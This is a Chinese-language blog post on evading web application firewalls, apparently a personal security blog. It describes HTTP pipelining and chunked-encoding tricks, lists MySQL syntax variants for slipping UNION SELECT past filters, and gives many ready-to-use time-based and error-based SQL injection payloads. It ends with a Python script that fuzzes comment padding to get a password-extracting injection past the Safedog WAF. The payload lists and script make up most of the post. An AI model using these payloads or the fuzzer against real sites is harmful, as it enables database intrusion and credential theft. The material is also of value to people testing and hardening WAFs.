从http协议层面和数据库层面绕过waf

0x01 http协议层面绕过waf

此部分参考在HTTP协议层面绕过WAF利用分块传输吊打所有WAF

http管道化pipeline

http管道化允许多个http请求通过一个套接字同时被输出 ,而不用等待相应的响应。然后请求者就会等待各自的响应,这些响应是按照之前请求的顺序依次到达。因为多个请求可被同时传送,如果waf只检测第一个请求,而忽略后面的请求,便可被绕过。
下面介绍通过burpsuite同时发送多个请求
首先关闭Update Content-Length

然后修改Connection字段值为keep-alive,将多个请求包在数据段后面拼接即可,前面的数据包通过设置Content-Length字段,只会读取到指定的位置,剩下的数据将作为第二个请求。
可以看到服务端返回了两个Response,但第二个带有and关键字被安全狗拦截,说明该方法无法绕过安全狗,但不排除绕过其他waf的可能。

1
2
补充:
在进行环境测试时,发现php版本为`nts`时,服务端只会返回一个响应,原因未知。建议大家在遇到这种情况时可以更换`thread safe`版本

http分块传输

通过在数据包中添加Transfer-Encoding: chunked,标示报文采用分块编码。此时会忽略Content-Length字段设置。
此时数据部分为一系列分块,每个分块包含十六进制的长度值和数据,长度值与数据各占一行。最后用0标志分块结束并且最后紧跟两个换行。
可以看到该方法将关键字分块传输绕过了waf。

但是Imperva、360等WAF已经对Transfer-Encoding的分块传输做了处理,将分块组合成完整数据包进行分析,导致关键字被拦截。
此时可以通过在分块传输的长度标识后面添加;作为注释,随机添加注释内容,便可使waf无法识别。
另外对于加载在中间件上的插件ModSecurity,因为其不会解析http数据包内容,因此基于ModSecurity的waf产品用上述方法便无法绕过。
但是可以通过发送畸形的分块数据包,即使分块数据块出错,例如长度值与数据不符等,将攻击语句添加在url中。此时apache会因为畸形分块数据包而报错,导致ModSecurity不会处理错误的数据包,而apache强大的容错能力继续执行了可以解析的部分。

http协议未覆盖

http头中Content-Type字段一般可以设置三种参数提交形方式:application/x-www-form-urlencodedmultipart/form-datatext/plain
当waf未能覆盖multipart/form-data提交方式时,或者waf认为其为文件上传请求,从而只检测文件上传,导致waf被绕过。

http字符集编码

Content-Type中可以使用charset定义字符集,如果基于规则引擎的waf未对相应字符集进行处理,则可以被绕过

burpsuite修改charset可自动encode。

0x02 数据库层面绕过waf

此部分参考WAF Bypass数据库特性(Mysql探索篇)
Mysql数据库为例分析

例句形式常见有5个位置即:SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

通用空格替换符

  • 注释符
    /**/ /*!00000union*/
  • 空白符
    %09,%0a,%0b,%0c,%0d
    以上注释和空白符可用于所有位置

    位置一 union之前

  • 浮点数 1.0union 1.union 等形式
  • 科学计数法 1E0union
  • 浮点数特殊形式 %1.union %2.union %1%2eunion
  • \N形式 \Nunion

    位置二 union和select之间

  • ()包裹select语句

    位置三 select之后

  • 特殊字符 ! + - @ ~
    上面字符除@外,可单个或随机自由数量组合使用 如select!~!!!-+~@1,2,3
  • 引号 select"1",2,3
  • \N形式 select\N,2,3
  • 花括号形式 select{x 1},2,3

    位置四 from之前

  • 浮点数 select 1,2,3.0from3.from
  • 科学计数法 select 1,2,3E0from
  • 浮点数特殊形式 %1.from %2.from %1%2efrom
  • \N形式 select 1,2,\Nfrom
  • 带括号的函数 如select 1,2,user()from
  • 破浪号

    1
    select 1,2,3`from
  • 破浪号后加任意字符串

    1
    select 1,2,3`booglefrom
  • 花括号形式 select 1,2,{x 3}from

    位置五 from之后

  • 破浪号

    1
    select 1,2,3 from`user
  • 破浪号包裹

    1
    select 1,2,3 from`user`
  • 括号()包裹 select 1,2,3 from(user)

  • 花括号形式 select 1,2,3 from{x user}
  • 查询同一个表的情况下,可以加任意数字字母 select * from user where id = -1 union select 1,user(),3 fromboogle123user

    等价函数

  • 字符串截取函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    Mid(version(),1,1)

    Substr(version(),1,1)

    Substring(version(),1,1)

    Lpad(version(),1,1)

    Rpad(version(),1,1)

    Left(version(),1)

    reverse(right(reverse(version()),1))
  • 字符串连接函数

    1
    2
    3
    concat(version(),'|',user());

    concat_ws('|',1,2,3)
  • 延时注入相关函数

    1
    2
    3
    4
    5
    6
    7
    8
    (1) sleep(5) 
    select * from user where id = 1 and if(left(database(),1)='g',sleep(5),1)
    (2) benchmark(count,expr)
    select * from user where id = 1 and if(left(database(),1)='t',(select benchmark(10000000,md5('boogle'))),1)
    (3) 计算笛卡尔积
    select * from user where id = 1 and if(left(database(),1)='t',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)
    (4) 正则bug(受mysql版本影响,部分不可行)
    select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')
  • 报错函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    (1) 通过floor报错,注入语句如下:
    and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    (2) 通过ExtractValue报错,注入语句如下:
    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    (3) 通过UpdateXml报错,注入语句如下:
    and 1=(updatexml(1,concat(0x3a,(select user())),1))
    4、通过NAME_CONST报错,注入语句如下:
    and exists(select * from (select * from(select name_const(version(),0))a join (select name_const(version(),0))b)c);
    (5) 通过join报错爆字段,注入语句如下:(在知道数据库跟表名的情况下使用才可以爆字段)
    select * from (select * from 表名 a join 表名 b) c)
    然后得到字段
    如果想在爆下一个字段 就得加上using (已知的字段)
    在下一个字段
    如果想在爆下一个字段 就得加上using (已知的字段,已知的字段 )
    select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段 ) ) c)
    (6) 通过exp报错,注入语句如下:
    and exp(~(select * from (select user() ) a) );
    (7) 通过GeometryCollection()报错,注入语句如下:
    and geometrycollection((select * from(select * from(select user())a)b));
    (8) 通过polygon ()报错,注入语句如下:
    and polygon((select * from(select * from(select user())a)b));
    (9) 通过multipoint ()报错,注入语句如下:
    and multipoint((select * from(select * from(select user())a)b));
    (10) 通过multilinestring()报错,注入语句如下:
    and multilinestring((select * from(select * from(select user())a)b));
    (11) 通过multipolygon()报错,注入语句如下:
    and multipolygon((select * from(select * from(select user())a)b));
    (12) 通过linestring ()报错,注入语句如下:
    and multilinestring((select * from(select * from(select user())a)b));
  • 过滤特殊字符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    (1)limit处的逗号: limit 1 offset 0

    (2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)

    (3)union处的逗号: 通过join拼接。

    SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b

    (4)操作符<>被过滤

    select * from users where id=1 and ascii(substr(database(),0,1))>64

    此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:

    select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。

0x03 绕过安全狗

测试狗狗为最新版

经测试,狗狗拦截点为union select之间和from之后
from之后可以使用破浪号或者花括号形式绕过,而union select可以使用注释符/**/方法,但是单纯的注释符会触发狗狗的拦截规则,这里对其填充字符进行fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

burp0_url = "http://127.0.0.1:80/test.php?id=-1 union/*%{0}%{1}*/select 1,password,3 from`user`"
burp0_cookies = {"ECS[visit_times]": "9", "__atuvc": "2%7C6", "safedog-flow-item": "83B003D84BC326490BB46CB86446460A"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)

for i in range(0,128):
for x in range(0,100):
a=burp0_url.format(str(hex(i))[2:],str(hex(x))[2:])
req = requests.get(a,headers=burp0_headers,cookies=burp0_cookies)
if 'dc647eb65e6711e155375218212b3964' in req.text:
print '[+]'+a
print '[+]'+'%'+str(hex(i))[2:]+'%'+str(hex(x))[2:]+' '+chr(i)+' '+chr(x)

以下姿势均可以绕过

本文标题:从http协议层面和数据库层面绕过waf

文章作者:boogle

发布时间:2019年03月06日 - 21:57

最后更新:2019年03月07日 - 11:31

原始链接:https://zhengbao.wang/从http协议层面和数据库层面绕过waf/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗